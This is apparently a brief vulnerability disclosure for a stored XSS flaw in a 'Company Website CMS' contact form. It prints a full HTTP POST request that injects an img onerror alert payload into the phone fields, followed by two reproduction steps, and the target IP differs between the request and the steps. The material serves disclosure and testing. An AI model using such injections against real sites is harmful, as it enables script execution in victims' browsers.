

Persistent XSS (or Stored XSS) attack is one of the three major categories of XSS attacks, the others being Non-Persistent (or Reflected) XSS and DOM-based XSS. In general, XSS attacks are based on the victim's trust in a legitimate, but vulnerable, website or web application. Company Website CMS does not filter the content correctly at the parameter, resulting in the generation of stored XSS.

Payload used:

```
POST /dashboard/contact HTTP/1.1
Host: 192.168.67.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----
-7024317128117527412760215857
Content-Length: 989
Origin: http://192.168.67.9
Connection: close
Referer: http://192.168.67.9/dashboard/contact
Upgrade-Insecure-Requests: 1
-----7024317128117527412760215857
Content-Disposition: form-data; name="phone1"
+89 (0) 2354 5470091<img src="" onerror="alert(1)">
-----7024317128117527412760215857
Content-Disposition: form-data; name="phone2"
+89 (0) 2354 5470091<img src="" onerror="alert(1)">
-----7024317128117527412760215857
Content-Disposition: form-data; name="email1"
mail@company.com
-----7024317128117527412760215857
Content-Disposition: form-data; name="email2"
mail@company.com
-----7024317128117527412760215857
Content-Disposition: form-data; name="longitude"
7.099737483
-----7024317128117527412760215857
Content-Disposition: form-data; name="latitude"
```

```
7.63734634
-----7024317128117527412760215857
Content-Disposition: form-data; name="save"
-----7024317128117527412760215857--
```

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Proof of Concept

- 1. Send payload
- 2. Open Page http://192.168.67.5/, We can see the alert.;

3.



